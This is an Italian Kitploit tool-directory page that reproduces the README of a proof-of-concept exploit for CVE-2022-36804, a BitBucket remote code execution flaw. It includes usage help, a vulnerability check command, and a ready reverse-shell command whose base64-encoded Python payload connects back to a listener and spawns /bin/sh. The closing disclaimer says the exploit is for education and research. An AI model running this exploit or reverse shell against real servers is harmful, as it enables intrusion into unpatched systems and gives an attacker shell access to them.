Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-36804 — Un exploit reale per BitBucket RCE CVE-2022-36804 | Kitploit
Strumenti/GitHubGitHub/notdls/cve-2022-36804
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingStrumento di Accesso Remoto
GitHubnotdls/cve-2022-36804

CVE-2022-36804

Un exploit reale per BitBucket RCE CVE-2022-36804

Vedi Repository
3571 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-36804 PoC

Questo repository contiene un semplice proof-of-concept per la recente vulnerabilità di esecuzione di codice remoto in BitBucket (CVE-2022-36804). Lo sfruttamento di questa vulnerabilità richiede l'accesso a un repository sull'istanza target; se non hai credenziali, il target dovrà avere repository pubblici.

Utilizzo

root@kitploit:~
usage: exploit.py [-h] -p PROJECT -r REPO -u URL [-c COMMAND] [--proxy PROXY] [--session SESSION]
                  [--check]

Exploits the CVE-2022-36804 RCE in vulnerable BitBucket instances (< v8.3.1)

optional arguments:
  -h, --help            show this help message and exit
  -p PROJECT, --project PROJECT
                        The name of the project the public repository resides in (E.g.
                        testproject)
  -r REPO, --repo REPO  The name of the public repository (E.g. testrepo)
  -u URL, --url URL     The URL of the BitBucket server (E.g. http://localhost:7990/)
  -c COMMAND, --command COMMAND
                        The command to execute on the server (E.g. 'curl http://canary.domain/')
  --proxy PROXY         HTTP proxy to use for debugging (E.g. http://localhost:8080/)
  --session SESSION     The value of your 'BITBUCKETSESSIONID' cookie, required if your target
                        repo is private. (E.g. 3DD8B1EBA3763AD2611F4940BD870865)
  --check               Only perform a check to see if the instance is vulnerable

Esempi

Verifica se un'istanza è vulnerabile

Per verificare se un'istanza è vulnerabile puoi eseguire il seguente comando

root@kitploit:~
python3 exploit.py -p PROJECT -r REPO -u http://target.site/ --check

Stabilire una reverse shell

Il comando sottostante può essere utilizzato per stabilire una reverse shell sulla vittima (il payload base64 dovrà essere aggiornato con i dettagli del tuo listener)

root@kitploit:~
python3 exploit.py -p PROJECT -r REPO -u http://localhost:7990/ -c "echo 'cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTkyLjE2OC42Ny4zIiw4ODg4KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7cHR5LnNwYXduKCIvYmluL3NoIikn' | base64 -d  | bash |"

Crediti

  • TheGrandPew - Identificazione e segnalazione della vulnerabilità

Dichiarazione di non responsabilità

Questo exploit è a scopo educativo/di ricerca; non sono responsabile dell'uso che altri ne faranno. Siate gentili :)

Scarica lo strumento